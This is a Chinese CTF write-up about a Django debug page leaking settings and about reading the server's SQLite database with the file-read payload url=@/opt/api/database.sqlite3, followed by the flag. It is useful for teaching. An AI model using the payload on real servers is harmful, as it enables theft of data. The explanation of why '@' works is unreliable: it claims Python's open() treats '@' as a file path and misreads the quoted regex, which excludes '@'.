%H:%M',u'%m/%d/%y']</pre></td></tr><tr><td>DATE_FORMAT</td><td class="code"><pre>u'N j, Y'</pre></td></tr><tr><td>DATE_INPUT_FORMATS</td><td class="code"><pre>[u'%Y-%m-%d',u'%m/%d/%Y',u'%m/%d/%y',u'%b %d %Y',u'%b %d, %Y',u'%d %b %Y',u'%d %b, %Y',u'%B %d %Y',u'%B %d, %Y',u'%d %B %Y',u'%d %B, %Y']</pre></td></tr><tr><td>DEBUG</td><td class="code"><pre>True</pre></td></tr><tr><td>DEBUG_PROPAGATE_EXCEPTIONS</td><td class="code"><pre>False</pre></td></tr><tr><td>DECIMAL_SEPARATOR</td><td class="code"><pre>u'.'</pre></td></tr><tr><td>DEFAULT_CHARSET</td><td class="code"><pre>u'utf-8'</pre></td></tr><tr><td>DEFAULT_CONTENT_TYPE</td><td class="code"><pre>u'text/html'</pre></td></tr><tr><td>DEFAULT_EXCEPTION_REPORTER_FILTER</td><td class="code"><pre>u'django.views.debug.SafeExceptionReporterFilter'</pre></td></tr><tr><td>DEFAULT_FILE_STORAGE</td><td class="code"><pre>u'django.core.files.storage.FileSystemStorage'</pre></td></tr><tr><td>DEFAULT_FROM_EMAIL</td><td class="code"><pre>u'webmaster@localhost'</pre></td></tr><tr><td>DEFAULT_INDEX_TABLESPACE</td><td class="code"><pre>u''</pre></td></tr><tr><td>DEFAULT_TABLESPACE</td><td class="code"><pre>u''</pre></td></tr><tr><td>DISALLOWED_USER_AGENTS</td><td class="code"><pre>[]</pre></td></tr><tr><td>EMAIL_BACKEND</td><td class="code"><pre>u'django.core.mail.backends.smtp.EmailBackend'</pre></td></tr><tr><td>EMAIL_HOST</td><td class="code"><pre>u'localhost'</pre></td></tr><tr><td>EMAIL_HOST_PASSWORD</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>EMAIL_HOST_USER</td><td class="code"><pre>u''</pre></td></tr><tr><td>EMAIL_PORT</td><td class="code"><pre>25</pre></td></tr><tr><td>EMAIL_SSL_CERTFILE</td><td class="code"><pre>None</pre></td></tr><tr><td>EMAIL_SSL_KEYFILE</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>EMAIL_SUBJECT_PREFIX</td><td class="code"><pre>u'[Django] '</pre></td></tr><tr><td>EMAIL_TIMEOUT</td><td class="code"><pre>None</pre></td></tr><tr><td>EMAIL_USE_SSL</td><td class="code"><pre>False</pre></td></tr><tr><td>EMAIL_USE_TLS</td><td class="code"><pre>False</pre></td></tr><tr><td>FILE_CHARSET</td><td class="code"><pre>u'utf-8'</pre></td></tr><tr><td>FILE_UPLOAD_DIRECTORY_PERMISSIONS</td><td class="code"><pre>None</pre></td></tr><tr><td>FILE_UPLOAD_HANDLERS</td><td class="code"><pre>[u'django.core.files.uploadhandler.MemoryFileUploadHandler',u'django.core.files.uploadhandler.TemporaryFileUploadHandler']</pre></td></tr><tr><td>FILE_UPLOAD_MAX_MEMORY_SIZE</td><td class="code"><pre>2621440</pre></td></tr><tr><td>FILE_UPLOAD_PERMISSIONS</td><td class="code"><pre>None</pre></td></tr><tr><td>FILE_UPLOAD_TEMP_DIR</td><td class="code"><pre>None</pre></td></tr><tr><td>FIRST_DAY_OF_WEEK</td><td class="code"><pre>0</pre></td></tr><tr><td>FIXTURE_DIRS</td><td class="code"><pre>[]</pre></td></tr><tr><td>FORCE_SCRIPT_NAME</td><td class="code"><pre>None</pre></td></tr><tr><td>FORMAT_MODULE_PATH</td><td class="code"><pre>None</pre></td></tr><tr><td>IGNORABLE_404_URLS</td><td class="code"><pre>[]</pre></td></tr><tr><td>INSTALLED_APPS</td><td class="code"><pre>['django.contrib.admin','django.contrib.auth','django.contrib.contenttypes','django.contrib.sessions','django.contrib.messages','django.contrib.staticfiles','dnsapi']</pre></td></tr><tr><td>INTERNAL_IPS</td><td class="code"><pre>[]</pre></td></tr><tr><td>LANGUAGES</td><td class="code"><pre>[(u'af', u'Afrikaans'),(u'ar', u'Arabic'),(u'ast', u'Asturian'),(u'az', u'Azerbaijani'),(u'bg', u'Bulgarian'),(u'be', u'Belarusian'),(u'bn', u'Bengali'),(u'br', u'Breton'),(u'bs', u'Bosnian'),(u'ca', u'Catalan'),(u'cs', u'Czech'),(u'cy', u'Welsh'),(u'da', u'Danish'),(u'de', u'German'),(u'dsb', u'Lower Sorbian'),(u'el', u'Greek'),(u'en', u'English'),(u'en-au', u'Australian English'),(u'en-gb', u'British English'),(u'eo', u'Esperanto'),(u'es', u'Spanish'),(u'es-ar', u'Argentinian Spanish'),(u'es-co', u'Colombian Spanish'),(u'es-mx', u'Mexican Spanish'),(u'es-ni', u'Nicaraguan Spanish'),(u'es-ve', u'Venezuelan Spanish'),(u'et', u'Estonian'),(u'eu', u'Basque'),(u'fa', u'Persian'),(u'fi', u'Finnish'),(u'fr', u'French'),(u'fy', u'Frisian'),(u'ga', u'Irish'),(u'gd', u'Scottish Gaelic'),(u'gl', u'Galician'),(u'he', u'Hebrew'),(u'hi', u'Hindi'),(u'hr', u'Croatian'),(u'hsb', u'Upper Sorbian'),(u'hu', u'Hungarian'),(u'ia', u'Interlingua'),(u'id', u'Indonesian'),(u'io', u'Ido'),(u'is', u'Icelandic'),(u'it', u'Italian'),(u'ja', u'Japanese'),(u'ka', u'Georgian'),(u'kk', u'Kazakh'),(u'km', u'Khmer'),(u'kn', u'Kannada'),(u'ko', u'Korean'),(u'lb', u'Luxembourgish'),(u'lt', u'Lithuanian'),(u'lv', u'Latvian'),(u'mk', u'Macedonian'),(u'ml', u'Malayalam'),(u'mn', u'Mongolian'),(u'mr', u'Marathi'),(u'my', u'Burmese'),(u'nb', u'Norwegian Bokm\xe5l'),(u'ne', u'Nepali'),(u'nl', u'Dutch'),(u'nn', u'Norwegian Nynorsk'),(u'os', u'Ossetic'),(u'pa', u'Punjabi'),(u'pl', u'Polish'),(u'pt', u'Portuguese'),(u'pt-br', u'Brazilian Portuguese'),(u'ro', u'Romanian'),(u'ru', u'Russian'),(u'sk', u'Slovak'),(u'sl', u'Slovenian'),(u'sq', u'Albanian'),(u'sr', u'Serbian'),(u'sr-latn', u'Serbian Latin'),(u'sv', u'Swedish'),(u'sw', u'Swahili'),(u'ta', u'Tamil'),(u'te', u'Telugu'),(u'th', u'Thai'),(u'tr', u'Turkish'),(u'tt', u'Tatar'),(u'udm', u'Udmurt'),(u'uk', u'Ukrainian'),(u'ur', u'Urdu'),(u'vi', u'Vietnamese'),(u'zh-hans', u'Simplified Chinese'),(u'zh-hant', u'Traditional Chinese')]</pre></td></tr><tr><td>LANGUAGES_BIDI</td><td class="code"><pre>[u'he', u'ar', u'fa', u'ur']</pre></td></tr><tr><td>LANGUAGE_CODE</td><td class="code"><pre>'en-us'</pre></td></tr><tr><td>LANGUAGE_COOKIE_AGE</td><td class="code"><pre>None</pre></td></tr><tr><td>LANGUAGE_COOKIE_DOMAIN</td><td class="code"><pre>None</pre></td></tr><tr><td>LANGUAGE_COOKIE_NAME</td><td class="code"><pre>u'django_language'</pre></td></tr><tr><td>LANGUAGE_COOKIE_PATH</td><td class="code"><pre>u'/'</pre></td></tr><tr><td>LOCALE_PATHS</td><td class="code"><pre>[]</pre></td></tr><tr><td>LOGGING</td><td class="code"><pre>{}</pre></td></tr><tr><td>LOGGING_CONFIG</td><td class="code"><pre>u'logging.config.dictConfig'</pre></td></tr><tr><td>LOGIN_REDIRECT_URL</td><td class="code"><pre>u'/accounts/profile/'</pre></td></tr><tr><td>LOGIN_URL</td><td class="code"><pre>u'/accounts/login/'</pre></td></tr><tr><td>LOGOUT_REDIRECT_URL</td><td class="code"><pre>None</pre></td></tr><tr><td>MANAGERS</td><td class="code"><pre>[]</pre></td></tr><tr><td>MEDIA_ROOT</td><td class="code"><pre>u''</pre></td></tr><tr><td>MEDIA_URL</td><td class="code"><pre>u''</pre></td></tr><tr><td>MESSAGE_STORAGE</td><td class="code"><pre>u'django.contrib.messages.storage.fallback.FallbackStorage'</pre></td></tr><tr><td>MIDDLEWARE</td><td class="code"><pre>['django.middleware.security.SecurityMiddleware','django.contrib.sessions.middleware.SessionMiddleware','django.middleware.common.CommonMiddleware','django.contrib.auth.middleware.AuthenticationMiddleware','django.contrib.messages.middleware.MessageMiddleware','django.middleware.clickjacking.XFrameOptionsMiddleware']</pre></td></tr><tr><td>MIDDLEWARE_CLASSES</td><td class="code"><pre>[u'django.middleware.common.CommonMiddleware',u'django.middleware.csrf.CsrfViewMiddleware']</pre></td></tr><tr><td>MIGRATION_MODULES</td><td class="code"><pre>{}</pre></td></tr><tr><td>MONTH_DAY_FORMAT</td><td class="code"><pre>u'F j'</pre></td></tr><tr><td>NUMBER_GROUPING</td><td class="code"><pre>0</pre></td></tr><tr><td>PASSWORD_HASHERS</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>PASSWORD_RESET_TIMEOUT_DAYS</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>PREPEND_WWW</td><td class="code"><pre>False</pre></td></tr><tr><td>ROOT_URLCONF</td><td class="code"><pre>'api.urls'</pre></td></tr><tr><td>SECRET_KEY</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>SECURE_BROWSER_XSS_FILTER</td><td class="code"><pre>False</pre></td></tr><tr><td>SECURE_CONTENT_TYPE_NOSNIFF</td><td class="code"><pre>False</pre></td></tr><tr><td>SECURE_HSTS_INCLUDE_SUBDOMAINS</td><td class="code"><pre>False</pre></td></tr><tr><td>SECURE_HSTS_SECONDS</td><td class="code"><pre>0</pre></td></tr><tr><td>SECURE_PROXY_SSL_HEADER</td><td class="code"><pre>None</pre></td></tr><tr><td>SECURE_REDIRECT_EXEMPT</td><td class="code"><pre>[]</pre></td></tr><tr><td>SECURE_SSL_HOST</td><td class="code"><pre>None</pre></td></tr><tr><td>SECURE_SSL_REDIRECT</td><td class="code"><pre>False</pre></td></tr><tr><td>SERVER_EMAIL</td><td class="code"><pre>u'root@localhost'</pre></td></tr><tr><td>SESSION_CACHE_ALIAS</td><td class="code"><pre>u'default'</pre></td></tr><tr><td>SESSION_COOKIE_AGE</td><td class="code"><pre>1209600</pre></td></tr><tr><td>SESSION_COOKIE_DOMAIN</td><td class="code"><pre>None</pre></td></tr><tr><td>SESSION_COOKIE_HTTPONLY</td><td class="code"><pre>True</pre></td></tr><tr><td>SESSION_COOKIE_NAME</td><td class="code"><pre>u'sessionid'</pre></td></tr><tr><td>SESSION_COOKIE_PATH</td><td class="code"><pre>u'/'</pre></td></tr><tr><td>SESSION_COOKIE_SECURE</td><td class="code"><pre>False</pre></td></tr><tr><td>SESSION_ENGINE</td><td class="code"><pre>u'django.contrib.sessions.backends.db'</pre></td></tr><tr><td>SESSION_EXPIRE_AT_BROWSER_CLOSE</td><td class="code"><pre>False</pre></td></tr><tr><td>SESSION_FILE_PATH</td><td class="code"><pre>None</pre></td></tr><tr><td>SESSION_SAVE_EVERY_REQUEST</td><td class="code"><pre>False</pre></td></tr><tr><td>SESSION_SERIALIZER</td><td class="code"><pre>u'django.contrib.sessions.serializers.JSONSerializer'</pre></td></tr><tr><td>SETTINGS_MODULE</td><td class="code"><pre>'api.settings'</pre></td></tr><tr><td>SHORT_DATETIME_FORMAT</td><td class="code"><pre>u'm/d/Y P'</pre></td></tr><tr><td>SHORT_DATE_FORMAT</td><td class="code"><pre>u'm/d/Y'</pre></td></tr><tr><td>SIGNING_BACKEND</td><td class="code"><pre>u'django.core.signing.TimestampSigner'</pre></td></tr><tr><td>SILENCED_SYSTEM_CHECKS</td><td class="code"><pre>[]</pre></td></tr><tr><td>STATICFILES_DIRS</td><td class="code"><pre>[]</pre></td></tr><tr><td>STATICFILES_FINDERS</td><td class="code"><pre>[u'django.contrib.staticfiles.finders.FileSystemFinder',u'django.contrib.staticfiles.finders.AppDirectoriesFinder']</pre></td></tr><tr><td>STATICFILES_STORAGE</td><td class="code"><pre>u'django.contrib.staticfiles.storage.StaticFilesStorage'</pre></td></tr><tr><td>STATIC_ROOT</td><td class="code"><pre>None</pre></td></tr><tr><td>STATIC_URL</td><td class="code"><pre>'/static/'</pre></td></tr><tr><td>TEMPLATES</td><td class="code"><pre>[{'APP_DIRS': True,'BACKEND': 'django.template.backends.django.DjangoTemplates','DIRS': [],'OPTIONS': {'context_processors': ['django.template.context_processors.debug','django.template.context_processors.request','django.contrib.auth.context_processors.auth','django.contrib.messages.context_processors.messages']}}]</pre></td></tr><tr><td>TEST_NON_SERIALIZED_APPS</td><td class="code"><pre>[]</pre></td></tr><tr><td>TEST_RUNNER</td><td class="code"><pre>u'django.test.runner.DiscoverRunner'</pre></td></tr><tr><td>THOUSAND_SEPARATOR</td><td class="code"><pre>u','</pre></td></tr><tr><td>TIME_FORMAT</td><td class="code"><pre>u'P'</pre></td></tr><tr><td>TIME_INPUT_FORMATS</td><td class="code"><pre>[u'%H:%M:%S', u'%H:%M:%S.%f', u'%H:%M']</pre></td></tr><tr><td>TIME_ZONE</td><td class="code"><pre>'UTC'</pre></td></tr><tr><td>USE_ETAGS</td><td class="code"><pre>False</pre></td></tr><tr><td>USE_I18N</td><td class="code"><pre>True</pre></td></tr><tr><td>USE_L10N</td><td class="code"><pre>True</pre></td></tr><tr><td>USE_THOUSAND_SEPARATOR</td><td class="code"><pre>False</pre></td></tr><tr><td>USE_TZ</td><td class="code"><pre>True</pre></td></tr><tr><td>USE_X_FORWARDED_HOST</td><td class="code"><pre>False</pre></td></tr><tr><td>USE_X_FORWARDED_PORT</td><td class="code"><pre>False</pre></td></tr><tr><td>WSGI_APPLICATION</td><td class="code"><pre>'api.wsgi.application'</pre></td></tr><tr><td>X_FRAME_OPTIONS</td><td class="code"><pre>u'SAMEORIGIN'</pre></td></tr><tr><td>YEAR_MONTH_FORMAT</td><td class="code"><pre>u'F Y'</pre></td></tr></tbody></table></div><div id="explanation"><p>You're seeing this error because you have <code>DEBUG = True</code> in yourDjango settings file. Change that to <code>False</code>, and Django willdisplay a standard page generated by the handler for this status code.</p></div></body>
</html>
將網頁存儲為html進行訪問,便于觀察。直接搜索flag,沒有找到有用的信息
搜索data,發現了database.sqlite3文件,flag大概率在里面,不然這個題目不會無緣無故的出現這個sqlite3
獲取其他文件
根據網址里提供的'NAME': '/opt/api/database.sqlite3'
,我們調整get請求:url=@/opt/api/database.sqlite3
,成功訪問該文件相關信息
在 url=@/opt/api/database.sqlite3
中,@
符號的作用是 利用 Django/Web 框架的文件讀取特性,具體原因如下:
1. @
符號的常見用途
在 HTTP 請求或命令行工具(如 curl
)中,@
通常表示 從文件讀取內容。例如:
curl -X POST http://example.com -d @file.txt
表示上傳文件內容。- 在 Django 或其他 Web 框架中,
@
可能被解析為 文件路徑的前綴,觸發文件讀取操作。
2. 本題中的利用場景
根據題目描述,后端代碼的邏輯如下:
-
輸入驗證不嚴:
- 前端通過
GET
請求提交url
參數(如url=loli.club
)。 - 后端可能直接將該參數傳遞給文件操作函數(如
open()
或os.popen()
)。
- 前端通過
-
@
觸發文件讀取:- 當輸入
url=@/opt/api/database.sqlite3
時:@
符號可能被解析為 從路徑讀取文件 的指令。- 后端嘗試讀取
/opt/api/database.sqlite3
文件的內容,而非將其作為普通字符串處理。
- 當輸入
-
繞過字符過濾:
- 題目中的正則表達式
^[a-zA-Z0-9\-\./]+$
允許/
和.
,因此@/opt/api/database.sqlite3
可能被允許通過檢查。 @
符號本身可能未被過濾,從而被后端解釋為文件讀取操作。
- 題目中的正則表達式
3. 為什么不用其他符號?
../
路徑穿越:
如果直接嘗試url=../../../../etc/passwd
,可能會被過濾或攔截。file://
協議:
某些環境下file://
會被禁用或轉義。@
的隱蔽性:
@
符號在 URL 中較常見(如郵箱),可能不會被安全規則攔截。
4. 技術原理總結
- 文件包含漏洞:
后端未對輸入進行嚴格校驗,直接將用戶輸入拼接到文件操作函數中。 @
的魔法:
框架或底層庫(如 Python 的open()
)可能將@
開頭的字符串視為文件路徑,而非普通數據。
5. 修復建議
如果這是真實場景,應:
- 禁止用戶輸入以
@
或特殊符號開頭的路徑。 - 使用白名單校驗輸入(如只允許域名格式
example.com
)。 - 避免直接將用戶輸入拼接到文件操作命令中。
關鍵點
@
符號在此處的作用是 利用框架/語言特性強制觸發文件讀取,從而繞過常規的字符串處理邏輯。這是文件包含漏洞的一種巧妙利用方式。
轉換為網頁,在最后發現了flag
答案:flag{yoooo_Such_A_G00D_@}
如果想用工具打開sqslite,必須將其保存為二進制文件,代碼如下:
data = 'SQLite format 3\x00\x04\x00\x01\x01\x00@ \x00...' # 粘貼完整的字符串
with open('database.sqlite', 'wb') as f:f.write(data.encode('latin1')) # 用latin1編碼保留原始字節